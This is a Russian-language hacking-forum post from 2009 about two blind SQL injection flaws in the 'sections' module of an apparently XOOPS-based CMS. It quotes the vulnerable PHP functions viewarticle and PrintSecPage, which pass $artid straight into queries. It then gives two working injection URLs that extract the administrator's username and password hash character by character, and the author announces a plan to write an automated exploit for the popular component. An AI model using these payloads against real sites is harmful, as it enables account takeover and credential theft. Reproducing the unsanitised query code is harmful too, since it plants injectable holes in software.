Показать сообщение отдельно

  #9  
Старый 09.01.2009, 18:33
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
По умолчанию

Ещё пара инжектов в модуле sections <== 1.55
(вырезка из index.php)
PHP код:
switch($op) {
    case 
"viewarticle":
        
viewarticle($artid$page);
        break;
    case 
"listarticles":
        
listarticles($secid);
        break;
    case 
"printpage":
        
PrintSecPage($artid);
        break;
    default:
        
listsections();
        break;

Я не рассмотрел ещё два варианта а именно
case "viewarticle": и case "printpage":
Затрагиваются функции viewarticle и PrintSecPage соответственно.
вот функции(вырезка из index.php)
PHP код:
function viewarticle($artid$page) {
global 
$xoopsUser$xoopsModule$db$myts$xoopsConfig$meta$page$sectionsConfig;

$access = new groupAccess('viewarticle');
$access->loadGroups($artid'artid'_MI_NSECCONT_TABLE);
if ( !
$access->checkGroups(1) ) {
    
redirect_header("javascript:history.go(-1)"3_NOACTION);
    exit();
}

if ( !isset(
$page) ) {
    
$db->query("UPDATE ".$db->prefix(_MI_NSECCONT_TABLE)." SET counter=counter+1 WHERE artid='$artid'");

и
PHP код:
function PrintSecPage($artid) {
global 
$xoopsConfig$db$myts$meta;

$access = new groupAccess('printsecpage');
$access->loadGroups($artid'artid'_MI_NSECCONT_TABLE);
if ( !
$access->checkGroups(1) ) {
    
redirect_header("javascript:history.go(-1)"3_NOACTION);
    exit();
}

$result $db->query("SELECT title, author, date, content, allow_html FROM ".$db->prefix(_MI_NSECCONT_TABLE)." WHERE artid=$artid"); 
как видно $artid мы можем крутить как хотим. И соответственно для двух этих случаев находятся more 1 row blind sql inj.
для первого случая.
Код:
http://localhost/modules/sections/index.php?op=viewarticle&artid=1+and+1=if(ascii(substring((select%20concat(uname,0x3a,pass)%20from%20exe_users%20where%20uid=1%20limit%201),1,1))%3E1,(select%201%20union%20select%202),1)/*
для второго случая
Код:
http://localhost/modules/sections/index.php?op=printpage&artid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),1)/*
Компонент популярен. Думаю вскоре под него тоже нашкодю эксплойт, чтоб лишний раз не парить моск, реализую слепые инекты.

Последний раз редактировалось The matrix; 11.02.2009 в 19:25..
 
Ответить с цитированием